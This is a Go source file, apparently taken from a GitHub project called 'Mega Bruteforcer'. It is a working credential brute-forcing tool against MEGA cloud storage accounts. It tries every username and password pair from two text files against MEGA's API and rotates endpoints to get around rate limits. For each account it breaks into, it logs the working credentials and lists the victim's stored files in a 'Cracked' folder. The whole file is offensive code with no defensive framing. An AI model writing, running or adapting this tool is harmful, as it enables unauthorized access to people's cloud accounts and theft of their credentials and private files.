Mega Bruteforcer

//https://github.com/SaturnsVoid/Mega-Bruteforce
package main

import (
    "fmt"
    "io/ioutil"
    "math/rand"
    "os"
    "strconv"
    "strings"
    "time"

    "github.com/t3rm1n4l/go-mega"
    "github.com/t3rm1n4l/megacmd/client"
)

var (
    api = [...]string{"https://eu.api.mega.co.nz", "https://g.api.mega.co.nz"} //API's
)

func checkFileExist(filePath string) bool {
    if _, err := os.Stat(filePath); os.IsNotExist(err) {
        return false
    } else {
        return true
    }
}

func getContent(file string) ([]string, error) {
    f, err := ioutil.ReadFile(file)
    if err != nil {
        return []string{}, fmt.Errorf("error opening file %v", err)
    }

    results := strings.Split(string(f), "\r\n")

    return results, nil
}

type Page struct {
    Title string
    Body  []byte
}

func (p *Page) save() error {
    filename := p.Title + ".txt"
    return ioutil.WriteFile("./Cracked/"+filename, p.Body, 0600)
}

func countFiles() int { //Count # of files
    profiles, _ := ioutil.ReadDir("./Cracked")
    return len(profiles)
}

func main() {
    if checkFileExist(os.Args[0]+"username.txt") && checkFileExist(os.Args[0]+"password.txt") {
        fmt.Println("Error! username.txt OR password.txt not found!")
        os.Exit(1)
    }

    usernames, err := getContent("username.txt")
    if err != nil {
        fmt.Println(err)
        return
    }
    passwords, err := getContent("password.txt")
    if err != nil {
        fmt.Println(err)
        return
    }

    for _, u := range usernames {
        for _, p := range passwords {
        retry:
            conf := new(megaclient.Config)
            rand.Seed(time.Now().UTC().UnixNano())
            mega.API_URL = api[rand.Intn(len(api))]

            conf.User = u
            conf.Password = p

            client, err := megaclient.NewMegaClient(conf)
            if err != nil {
                fmt.Println(err)
            }

            err = client.Login()

            if err != nil {
                if err == mega.ENOENT {
                    fmt.Println("[Bad] " + u + ":" + p)
                    break
                } else {
                    fmt.Println("[Limited] Unable to establish connection to mega service", err)
                    time.Sleep(time.Duration(30) * time.Second)

                    goto retry
                }
            }
            var tmpstring string
            tmpstring += "Login: " + u + ":" + p + "\r\n"
            fmt.Println("[Good] " + u + ":" + p)
            paths, err := client.List("mega:/")
            if err != nil && err != mega.ENOENT {
                fmt.Println("[ERROR] List failed ", err)
            }
            if err == nil {
                for _, p := range *paths {
                    tmpstring += p.GetPath() + "\r\n"
                }
                s1 := strconv.Itoa(countFiles())
                p1 := &Page{Title: "Cracked Account " + s1, Body: []byte(tmpstring)}
                p1.save()
            }
        }
    }
}